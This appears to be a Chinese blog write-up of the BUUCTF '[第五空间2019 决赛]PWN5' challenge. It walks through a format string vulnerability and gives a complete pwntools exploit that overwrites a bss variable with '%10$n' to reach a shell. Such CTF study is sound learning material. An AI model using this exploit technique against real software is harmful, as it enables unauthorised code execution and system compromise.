要么改变世界,要么适应世界

BUUCTF-[第五空间2019 决赛]PWN5题解

2022-08-29 22:02:18
336
目录

考点:格式化字符串漏洞-覆盖指定地址为小数字。

本文需要你了解字符串漏洞相关知识,如果尚未了解,可移步至【ctf-wiki】学习

下载文件以后,查看文件信息:

$ file pwn           
pwn: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=6a8aa744920dda62e84d44fcc440c05f31c4c23d, stripped

查看保护信息:

checksec --file=pwn
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   No Symbols        No    0               2               pwn

Canary出现了,那栈溢出就使不得了,NX开启意味着栈中数据没有执行权限,真可谓重重难关。

然后运行一下:

$ ./pwn           
your name:yalexin
Hello,yalexin
your passwd:123456
fail
$ ./pwn
your name:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Hello,aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa�your passwd:fail

买看出啥端倪,那就继续使用IDA32位程序看一下:

关键代码和注释如下:

  
v1 = time(0);
srand(v1);
fd = open("/dev/urandom", 0);
// 使用种子以后,产生随机数,写到unk_804C044中
read(fd, &unk_804C044, 4u);
printf("your name:");
// buf到栈底的长度有0x70h,但是我们只能输入 0x63h,也就是我们无法在这里溢出
read(0, &buf, 0x63u);
printf("Hello,");
// 看到了这样子使用printf函数,立即推格式化字符串漏洞!
printf(&buf);
printf("your passwd:");
// 同理,在这里我们也无法在这里溢出
read(0, &nptr, 0xFu);
// 我们可以通过格式化字符串漏洞把这个数据泄露出来,然后再输入该值,也可以直接修改该值
if ( atoi(&nptr) == unk_804C044 ){
    puts("ok!!");
    system("/bin/sh");
  }
  else{
    puts("fail");
  }

由于我们的随机数变量unk_804C044是存储在bss段,并不在栈上,我们无法得知该值,那我们可以换个思路,直接修改该变量的值。

在此之前,我们要先确定我们输入的字符串偏移量,即:

$ ./pwn
your name:abcd%p 2:%p 3:%p 4:%p 5:%p 6:%p 7:%p 8:%p 9:%p 10:%p 11:%p
Hello,abcd0xffa91108 2:0x63 3:(nil) 4:0xf7f55b30 5:0x3 6:0xf7f1b420 7:0x1 8:(nil) 9:0x1 10:0x64636261 11:0x32207025

可以看到该字符串在printf函数中的位置相较于第一个参数的偏移量是10。

通过IDA我们可以知道随机变量存放的地址为:

.bss:0804C044 unk_804C044     db    ? ;               ; DATA XREF: main+77↑o

下面我们就可以着手通过下面的方式修改指定内存的值了:

addr%10$n

%10$n是说将已经输出的个数写入addr所指向的地址。我们的地址是32位的,即4个字节,那么我们此时已经将指定地址修改为4了。

exp如下:

from pwn import *

context(log_level = 'debug', os='linux', arch='i386')
debug = True
hacker = None

if debug:
    hacker = process('./pwn')
else:
    hacker = remote('', 1)

random_var_addr = 0x0804c044

payload = p32(random_var_addr) + b'%10$n'
hacker.sendlineafter('your name:', payload)
line = hacker.recvuntil('your passwd:')
hacker.sendline(b'4')
hacker.interactive()

pwn入门是真的难!!即使我已经学了编译原理、汇编和组成原理(当然可能也是因为没学好)。

除此之外,IDA反编译出来的代码只能作为参考,切记奉为圭臬,之前刚刚学习的时候,遇到反汇编出来的代码中,定义变量的顺序是反的,变量类型也出错,搞得我郁闷了好几天,还好同班的大佬指出了我的错误。

历史评论
开始评论